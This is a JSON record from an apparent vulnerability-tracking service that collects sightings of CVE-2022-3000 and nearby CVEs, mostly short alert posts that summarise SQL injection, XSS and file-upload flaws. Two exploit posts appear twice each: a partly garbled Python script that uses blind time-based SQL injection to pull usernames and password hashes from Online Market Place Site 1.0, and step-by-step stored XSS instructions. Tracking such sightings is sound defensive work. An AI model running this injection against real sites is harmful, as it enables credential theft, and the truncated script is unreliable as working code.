{"vulnerability": "CVE-2022-3000", "sightings": [{"uuid": "da5a2cc9-d6be-4632-8168-a6f9cbe6018d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-30006", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2210", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1a[Reserved for CVE-2022-30006]\nURL\uff1ahttps://github.com/ComparedArray/printix-CVE-2022-30006\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-16T16:20:52.000000Z"}, {"uuid": "2bff8ee3-7232-46cc-89d9-488a719f4f3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-30004", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17173", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2022-30004\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Sourcecodester Online Market Place Site v1.0 suffers from an unauthenticated blind SQL Injection Vulnerability allowing remote attackers to dump the SQL database via time-based SQL injection..\n\ud83d\udccf Published: 2022-09-26T19:16:39.000Z\n\ud83d\udccf Modified: 2025-05-21T18:33:44.418Z\n\ud83d\udd17 References:\n1. https://www.sourcecodester.com/php/15273/online-market-place-site-phpoop-free-source-code.html\n2. https://packetstormsecurity.com/files/168249/Online-Market-Place-Site-1.0-SQL-Injection.html", "creation_timestamp": "2025-05-21T18:43:18.000000Z"}, {"uuid": "7764ba47-4642-42a5-9395-e7798a572b58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-30003", "type": "seen", "source": "https://t.me/cibsecurity/50524", "content": "\u203c CVE-2022-30003 \u203c\n\nSourcecodester Online Market Place Site 1.0 is vulnerable to Cross Site Scripting (XSS), allowing attackers to register as a Seller then create new products containing XSS payloads in the 'Product Title' and 'Short Description' fields.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-09-26T22:22:45.000000Z"}, {"uuid": "aaf2dd90-22c0-40b7-a9eb-59bc1be96daa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3000", "type": "seen", "source": "https://t.me/cibsecurity/50129", "content": "\u203c CVE-2022-3000 \u203c\n\nCross-site Scripting (XSS) - Stored in GitHub repository yetiforcecompany/yetiforcecrm prior to 6.4.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-09-20T12:39:08.000000Z"}, {"uuid": "2e03ae3a-4942-4ce4-9cb8-37c620aeeec7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-30007", "type": "seen", "source": "https://t.me/cibsecurity/42838", "content": "\u203c CVE-2022-30007 \u203c\n\nGXCMS V1.5 has a file upload vulnerability in the background. The vulnerability is the template management page. You can edit any template content and then rename to PHP suffix file, after calling PHP file can control the server.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-05-17T20:27:48.000000Z"}, {"uuid": "b82fbf44-f39a-420c-8833-a97225f10712", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-30000", "type": "seen", "source": "https://t.me/cibsecurity/42526", "content": "\u203c CVE-2022-30000 \u203c\n\nInsurance Management System 1.0 is vulnerable to SQL Injection via /insurance/editPayment.php?recipt_no=.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-05-12T20:42:13.000000Z"}, {"uuid": "de512b08-f759-448e-912e-47081c6ebdcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-30002", "type": "seen", "source": "https://t.me/cibsecurity/42529", "content": "\u203c CVE-2022-30002 \u203c\n\nInsurance Management System 1.0 is vulnerable to SQL Injection via /insurance/editNominee.php?nominee_id=.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-05-12T20:42:17.000000Z"}, {"uuid": "428e1c58-21f3-4b14-86ce-e8e2a9b744be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-30004", "type": "seen", "source": "https://t.me/hacking_Attack/67997", "content": "Exploit Collector\nOnline Market Place Site 1.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png \nOnline Market Place Site version 1.0 suffers from an unauthenticated blind SQL injection vulnerability allowing remote attackers to dump the SQL database via time-based SQL injection.\n\nSHA-256 | 055275be279445d5466385d61a0e67c90bd2c9c88469b4e802f1402fe98446be\n\nDownload\n# Exploit Title: Online Market Place Site v1.0 - Unauthenticated Blind Time-Based SQL Injection\n# Exploit Author: Joe Pollock\n# Date: September 03, 2022\n# Vendor Homepage: https://www.sourcecodester.com/php/15273/online-market-place-site-phpoop-free-source-code.html\n# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/omps.zip\n# Tested on: Kali Linux, Apache, Mysql\n# CVE: CVE-2022-30004 (RESERVED)\n# Vendor: oretnom23\n# Version: v1.0\n# Exploit Description:\n#   Online Market Place Site v1.0 suffers from an unauthenticated blind SQL Injection Vulnerability allowing remote attackers to dump the SQL database via time-based SQL injection.\n#   This script will retrieve a single username and associciated password hash from the omps_db database via blind, time-based SQL injection.\n#   By default, the username & hash retrieved will have an ID equal to zero in the database, i.e. the first username and password hash.\n#   Default behavior can be changed by setting the USERID variable. Sleep timings may also have to be adjusted to account for network latency.\n#   Ex: python3 omps.py 10.14.14.2\nimport sys, requests, urllib3\nUSERID=0\n\ndef main():\nif len(sys.argv) != 2:\nprint(\"(+) usage: %s  2):\nextracted_char = chr(c)\nsys.stdout.write(extracted_char)\nsys.stdout.flush()\nsys.stdout.write(\"\\t\")\n\n# Get password hash\nfor p in range (1,65):\ninjection_string = \"AAAA' OR IF(ascii(MID((select password from omps_db.users LIMIT %d,1),%d,1))=[CHAR],sleep(1),0)-- -\" % (USERID,p)\nfor c in range(32, 126):\nfiles = {\"username\": (None, injection_string.replace(\"[CHAR]\", str(c)))}\n#print(injection_string.replace(\"[CHAR]\", str(c)))\nr = requests.post(target, files=files)\nif (r.elapsed.total_seconds() > 2):\nextracted_char = chr(c)\nsys.stdout.write(extracted_char)\nsys.stdout.flush()\nprint(\"\\n(+) done!\")\n\nif __name__ == \"__main__\":\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:25.048753Z"}, {"uuid": "bd472e83-2b58-4293-8a0e-394dba4bde04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-30003", "type": "seen", "source": "https://t.me/hacking_Attack/68002", "content": "Exploit Collector\nOnline Market Place Site 1.0 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nOnline Market Place Site version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | 6dbdfadfd046c1d428d90778b682265b97787399b579cf8c236ae782a910255b\n\nDownload\n# Exploit Title: Online Market Place Site v1.0 - Stored Cross-Site Scripting (XSS)\n# Exploit Author: Joe Pollock\n# Date: September 03, 2022\n# Vendor Homepage: https://www.sourcecodester.com/php/15273/online-market-place-site-phpoop-free-source-code.html\n# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/omps.zip\n# Tested on: Kali Linux, Apache, Mysql\n# CVE: CVE-2022-30003 (RESERVED)\n# Vendor: oretnom23\n# Version: v1.0\n# Exploit Description:\n#   Online Market Place Site v1.0 suffers from an authenticated stored Cross-Site Scripting (XSS) vulnerability allowing attackers to register\n#   as a Seller then create new products containing XSS payloads in the 'Product Title' and 'Short Description' fields.\n\nTo reporduce:\n\n1. Sign as a Seller (or create an account) then add a product by navigating to 'Products' > 'Add New'.\n\n2. Add an XSS payload (e.g. ) within the 'Product Title' and/or 'Short Description' fields.\n\n3. Click 'SAVE' - the XSS payload(s) will be executed immediately or anytime the product is viewed.\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:25.093791Z"}, {"uuid": "c2a3a75c-f971-43c0-aca0-18bf77f08a64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-30003", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/68002", "content": "Exploit Collector\nOnline Market Place Site 1.0 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nOnline Market Place Site version 1.0 suffers from a persistent cross site scripting vulnerability.\n\nSHA-256 | 6dbdfadfd046c1d428d90778b682265b97787399b579cf8c236ae782a910255b\n\nDownload\n# Exploit Title: Online Market Place Site v1.0 - Stored Cross-Site Scripting (XSS)\n# Exploit Author: Joe Pollock\n# Date: September 03, 2022\n# Vendor Homepage: https://www.sourcecodester.com/php/15273/online-market-place-site-phpoop-free-source-code.html\n# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/omps.zip\n# Tested on: Kali Linux, Apache, Mysql\n# CVE: CVE-2022-30003 (RESERVED)\n# Vendor: oretnom23\n# Version: v1.0\n# Exploit Description:\n#   Online Market Place Site v1.0 suffers from an authenticated stored Cross-Site Scripting (XSS) vulnerability allowing attackers to register\n#   as a Seller then create new products containing XSS payloads in the 'Product Title' and 'Short Description' fields.\n\nTo reporduce:\n\n1. Sign as a Seller (or create an account) then add a product by navigating to 'Products' > 'Add New'.\n\n2. Add an XSS payload (e.g. ) within the 'Product Title' and/or 'Short Description' fields.\n\n3. Click 'SAVE' - the XSS payload(s) will be executed immediately or anytime the product is viewed.\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T10:00:04.466178Z"}, {"uuid": "e30d37ad-9685-4204-a178-536e3d385546", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-30004", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/67997", "content": "Exploit Collector\nOnline Market Place Site 1.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png \nOnline Market Place Site version 1.0 suffers from an unauthenticated blind SQL injection vulnerability allowing remote attackers to dump the SQL database via time-based SQL injection.\n\nSHA-256 | 055275be279445d5466385d61a0e67c90bd2c9c88469b4e802f1402fe98446be\n\nDownload\n# Exploit Title: Online Market Place Site v1.0 - Unauthenticated Blind Time-Based SQL Injection\n# Exploit Author: Joe Pollock\n# Date: September 03, 2022\n# Vendor Homepage: https://www.sourcecodester.com/php/15273/online-market-place-site-phpoop-free-source-code.html\n# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/omps.zip\n# Tested on: Kali Linux, Apache, Mysql\n# CVE: CVE-2022-30004 (RESERVED)\n# Vendor: oretnom23\n# Version: v1.0\n# Exploit Description:\n#   Online Market Place Site v1.0 suffers from an unauthenticated blind SQL Injection Vulnerability allowing remote attackers to dump the SQL database via time-based SQL injection.\n#   This script will retrieve a single username and associciated password hash from the omps_db database via blind, time-based SQL injection.\n#   By default, the username & hash retrieved will have an ID equal to zero in the database, i.e. the first username and password hash.\n#   Default behavior can be changed by setting the USERID variable. Sleep timings may also have to be adjusted to account for network latency.\n#   Ex: python3 omps.py 10.14.14.2\nimport sys, requests, urllib3\nUSERID=0\n\ndef main():\nif len(sys.argv) != 2:\nprint(\"(+) usage: %s  2):\nextracted_char = chr(c)\nsys.stdout.write(extracted_char)\nsys.stdout.flush()\nsys.stdout.write(\"\\t\")\n\n# Get password hash\nfor p in range (1,65):\ninjection_string = \"AAAA' OR IF(ascii(MID((select password from omps_db.users LIMIT %d,1),%d,1))=[CHAR],sleep(1),0)-- -\" % (USERID,p)\nfor c in range(32, 126):\nfiles = {\"username\": (None, injection_string.replace(\"[CHAR]\", str(c)))}\n#print(injection_string.replace(\"[CHAR]\", str(c)))\nr = requests.post(target, files=files)\nif (r.elapsed.total_seconds() > 2):\nextracted_char = chr(c)\nsys.stdout.write(extracted_char)\nsys.stdout.flush()\nprint(\"\\n(+) done!\")\n\nif __name__ == \"__main__\":\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T10:00:04.514019Z"}]}